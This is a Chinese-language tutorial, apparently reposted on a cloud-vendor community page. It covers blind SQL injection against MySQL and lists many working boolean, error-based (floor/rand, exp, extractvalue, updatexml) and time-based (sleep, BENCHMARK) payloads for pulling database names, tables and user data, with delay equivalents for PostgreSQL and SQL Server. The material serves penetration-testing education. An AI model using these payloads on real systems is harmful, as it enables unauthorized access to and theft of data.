MYSQL注入天書之盲注講解

來源:互聯網
上載者:User

標籤:

Background-2 盲注的講解

何為盲注?盲注就是在sql注入過程中,sql語句執行的選擇後,選擇的資料不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。從background-1中,我們可以知道盲注分為三類

?基於布爾SQL盲注

?基於時間的SQL盲注

?基於報錯的SQL盲注

Ps:知識點太多了,這裡只能簡單列出來大致講解一下。(ps:每當看到前輩的奇淫技巧的payload時,能想象到我內心的喜悅嗎?我真的想細細的寫寫這一塊,但是不知道該怎麼寫或者小夥伴需要怎麼樣來講這個,可以m我。)

1:基於布爾SQL盲注----------構造邏輯判斷

我們可以利用邏輯判斷進行

截取字串相關函數解析http://www.cnblogs.com/lcamry/p/5504374.html(這個還是要看下)

?

▲left(database(),1)>‘s‘?????????????//left()函數

Explain:database()顯示資料庫名稱,left(a,b)從左側截取a的前b位

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ ???????//substr()函數,ascii()函數

Explain:substr(a,b,c)從b位置開始,截取字串a的c長度。Ascii()將某個字元轉換為ascii值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 ??????????????//ORD()函數,MID()函數

Explain:mid(a,b,c)從位置b開始,截取a字串的c位

Ord()函數同ascii(),將字元轉為ascii值

▲regexp正則注入

正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html

用法介紹:select user() regexp ‘^[a-z]‘;

Explain:Regex的用法,user()結果為root,regexp為匹配root的Regex。

第二位可以用select user() regexp ‘^ro‘來進行。

當正確的時候顯示結果為1,不正確的時候顯示結果為0.

樣本介紹:

I select * from users where id=1 and 1=(if((user() regexp ‘^r‘),1,0));

IIselect * from users where id=1 and 1=(user() regexp‘^ri‘);

通過if語句的條件判斷,返回一些條件句,比如if等構造一個判斷。根據返回結果是否等於0或者1進行判斷。

IIIselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^us[a-z]‘ limit 0,1);

這裡利用select構造了一個判斷語句。我們只需要更換regexp運算式即可

‘^u[a-z]‘ -> ‘^us[a-z]‘ -> ‘^use[a-z]‘ -> ‘^user[a-z]‘ -> FALSE

如何知道匹配結束了?這裡大部分根據一般的命名方式(經驗)就可以判斷。但是如何你在無法判斷的情況下,可以用table_name regexp ‘^username$‘來進行判斷。^是從開頭進行匹配,$是從結尾開始判斷。更多的文法可以參考mysql使用手冊進行瞭解。

好,這裡思考一個問題?table_name有好幾個,我們只得到了一個user,如何知道其他的?

這裡可能會有人認為使用limit 0,1改為limit 1,1。

但是這種做法是錯誤的,limit作用在前面的select語句中,而不是regexp。那我們該如何選擇。其實在regexp中我們是取匹配table_name中的內容,只要table_name中有的內容,我們用regexp都能夠匹配到。因此上述語句不僅僅可以選擇user,還可以匹配其他項。

▲like匹配注入

和上述的正則類似,mysql在匹配的時候我們可以用ike進行匹配。

用法:select user() like ‘ro%‘

?

2:基於報錯的SQL盲注------構造payload讓資訊通過錯誤提示回顯出來

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a; ?

//explain:此處有三個點,一是需要concat計數,二是floor,取得0 or 1,進行資料的重複,三是group by進行分組,但具體原理解釋不是很通,大致原理為分組後資料計數時重複造成的錯誤。也有解釋為mysql 的bug 的問題。但是此處需要將rand(0),rand()需要多試幾次才行。

以上語句可以簡化成如下的形式。

select?count(*)?from?information_schema.tables?group?by?concat(version(),floor(rand(0)*2))

如果關鍵的表被禁用了,可以使用這種形式

?select?count(*)?from?(select?1?union?select?null?union?

select?!1)?group?by?concat(version(),floor(rand(0)*2))?

如果rand被禁用了可以使用使用者變數來報錯

?select?min(@a:=1)?from?information_schema.tables?group?by?concat(password,@a:=(@a+1)%2)

?

▲select exp(~(select * FROM(SELECT USER())a)) ????????//double數實值型別超出範圍

??//Exp()為以e為底的對數函數;版本在5.5.5及其以上

可以參考exp報錯文章:http://www.cnblogs.com/lcamry/articles/5509124.html

▲select !(select * from (select user())x) -(ps:這是減號)?~0??

?//bigint超出範圍;~0是對0逐位取反,很大的版本在5.5.5及其以上

可以參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) ?se//mysql對xml資料進行查詢和修改的xpath函數,xpath語法錯誤

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) ??//mysql對xml資料進行查詢和修改的xpath函數,xpath語法錯誤

▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql重複特性,此處重複了version,所以報錯。

3:基於時間的SQL盲注----------延時注入

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 ?//if判斷語句,條件為假,執行sleep

Ps:遇到以下這種利用sleep()延時注入語句

select?sleep(find_in_set(mid(@@version,?1,?1),?‘0,1,2,3,4,5,6,7,8,9,.‘));

該語句意思是在0-9之間找版本號碼的第一位。但是在我們實際滲透過程中,這種用法是不可取的,因為時間會有網速等其他因素的影響,所以會影響結果的判斷。

?

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG‘,‘by 5 seconds‘)),null) FROM (select database() as current) as tb1;

???//BENCHMARK(count,expr)用於測試函數的效能,參數一為次數,二為要執行的運算式。可以讓函數執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執行成功。這是一種邊通道攻擊,在運行過程中佔用大量的cpu資源。推薦使用sleep()

函數進行注入。

此處配置一張《白帽子講安全》圖片

Mysql

BENCHMARK(100000,MD5(1)) ?or sleep(5)

Postgresql

PG_SLEEP(5) ??OR GENERATE_SERIES(1,10000)

Ms sql server

WAITFOR DELAY ‘0:0:5‘

MYSQL注入天書之盲注講解

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.